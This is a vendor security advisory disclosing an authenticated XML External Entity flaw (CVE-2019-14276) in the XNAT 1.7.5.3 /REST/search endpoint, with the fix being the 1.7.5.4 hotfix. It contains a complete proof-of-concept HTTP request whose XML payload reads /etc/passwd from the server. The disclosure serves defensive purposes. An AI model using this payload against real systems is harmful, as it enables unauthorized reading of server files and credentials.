Sense of Security	Authorisation. Jason Edelstein
	Release date. 23 October 2019.

Sense of Security – Security Advisory – SOS-19-001.

XML External Entities Injection (XXE) in XNAT 1.7.

23 October 2019.

XML External Entities Injection (XXE) in XNAT - Security Advisory - SOS-19-001

Release Date.	23-Oct-2019
Last Update.	-
Vendor Notification Date.	09-Jul-2019
Product.	XNAT
Platform.	Linux and possibly others
Affected versions.	1.7.5.3 (confirmed) and possibly earlier versions
Severity Rating.	High
Impact.	System access
Attack Vector.	Remote with authentication
Solution Status.	XNAT 1.7.5.4 Hotfix Release
CVE reference.	CVE-2019-14276

Details.

An XML External Entity (XXE) vulnerability is an attack against an application that parses XML input. Importing an XML file that contains an XML external entity to the XNAT application permits an attacker to retrieve a local file from the web server. The attacker must be authenticated to the application. This attack occurs when XML input contains a reference to an external entity such as a local file on the web server. Common targets include configuration files, e.g. ASP.NET web.config or Linux password files, e.g. /etc/shadow.

The following URL is affected:

- `/REST/search`

Proof of Concept.

The following XML file can be used as part of the search function to access local files on the system:

```
POST
/REST/search?XNAT_CSRF={redacted}&format=json&cache=true&refre
sh=true HTTP/1.1
Host: {redacted}.au
User-Agent: {redacted}
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: {redacted}

<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY
><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><xdat:bundle
ID="" xmlns:arc="http://nrg.wustl.edu/arc"
xmlns:val="http://nrg.wustl.edu/val"
xmlns:pipe="http://nrg.wustl.edu/pipe"
xmlns:xsync="http://nrg.wustl.edu/xsync"
xmlns:wrk="http://nrg.wustl.edu/workflow"
xmlns:scr="http://nrg.wustl.edu/scr"
xmlns:xdat="http://nrg.wustl.edu/security"
xmlns:cat="http://nrg.wustl.edu/catalog"
xmlns:prov="http://www.nbirn.net/prov"
xmlns:xnat="http://nrg.wustl.edu/xnat"
xmlns:xnat_a="http://nrg.wustl.edu/xnat_assessments"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://nrg.wustl.edu/workflow
https://{redacted}.au:443/schemas/workflow.xsd
http://nrg.wustl.edu/catalog
https://{redacted}.au:443/schemas/catalog.xsd
http://nrg.wustl.edu/pipe
https://{redacted}.au:443/schemas/repository.xsd
http://nrg.wustl.edu/scr
https://{redacted}.au:443/schemas/screeningAssessment.xsd
http://nrg.wustl.edu/arc
https://{redacted}.au:443/schemas/project.xsd
http://nrg.wustl.edu/val
https://{redacted}.au:443/schemas/protocolValidation.xsd
http://nrg.wustl.edu/xnat
https://{redacted}.au:443/schemas/xnat.xsd
http://nrg.wustl.edu/xsync
https://{redacted}.au:443/schemas/xsync.xsd
http://nrg.wustl.edu/xnat_assessments
https://{redacted}.au:443/schemas/assessments.xsd
```

```
http://www.nbirn.net/prov
https://{redacted}.au:443/schemas/birnprov.xsd
http://nrg.wustl.edu/security
https://{redacted}.au:443/schemas/security.xsd">
<xdat:root_element_name>xnat:projectData</xdat:root_element_na
me>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>ID</xdat:field_ID>
<xdat:sequence>0</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>&xxe;</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>NAME</xdat:field_ID>
<xdat:sequence>1</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Title</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>DESCRIPTION</xdat:field_ID>
<xdat:sequence>2</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Description</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>SECONDARY_ID</xdat:field_ID>
<xdat:sequence>3</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Running Title</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>KEYWORDS</xdat:field_ID>
<xdat:sequence>4</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Keywords</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>PROJ_MR_COUNT</xdat:field_ID>
<xdat:sequence>5</xdat:sequence>
```

```
<xdat:type>integer</xdat:type>
<xdat:header>MR Count</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>PROJ_PET_COUNT</xdat:field_ID>
<xdat:sequence>6</xdat:sequence>
<xdat:type>integer</xdat:type>
<xdat:header>PET Count</xdat:header>
</xdat:search_field>
<xdat:search_field>
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>PROJ_CT_COUNT</xdat:field_ID>
<xdat:sequence>7</xdat:sequence>
<xdat:type>integer</xdat:type>
<xdat:header>CT Count</xdat:header>
</xdat:search_field>
<xdat:search_field visible="0">
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>USER_ROLE</xdat:field_ID>
<xdat:sequence>8</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Role</xdat:header>
<xdat:value>{XDAT_USER_ID}</xdat:value>
</xdat:search_field>
<xdat:search_field visible="0">
<xdat:element_name>xnat:projectData</xdat:element_name>
<xdat:field_ID>PROJECT_ACCESS</xdat:field_ID>
<xdat:sequence>9</xdat:sequence>
<xdat:type>string</xdat:type>
<xdat:header>Accessibility</xdat:header>
</xdat:search_field>
<xdat:search_where method="AND">
<xdat:child_set method="OR">
<xdat:criteria override_value_formatting="0">
<xdat:schema_field>xnat:projectData.ID</xdat:schema_field>
<xdat:comparison_type> LIKE </xdat:comparison_type>
<xdat:value>%1%</xdat:value>
</xdat:criteria>
</xdat:child_set>
</xdat:search_where>
</xdat:bundle>
```

PoC Screenshots:

It is possible to read any file on the web application server. For example, the following screenshot shows the content of the `/etc/passwd` file:

Figure 1: Content of the /etc/passwd file as a result of exploiting the XXE vulnerability

Solution.

Apply patch from XNAT 1.7.5.4 Hotfix Release.

Additional information is available at:

https://wiki.xnat.org/news/blog/2019/08/xnat-1-7-5-4-hotfix-release-now-available

https://wiki.xnat.org/documentation/getting-started-with-xnat/what-s-new-in-xnat/xnat-1-7-5-4-release-notes

Discovered by.

Hamed Merati from Sense of Security Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and

architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 59 Goulburn St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php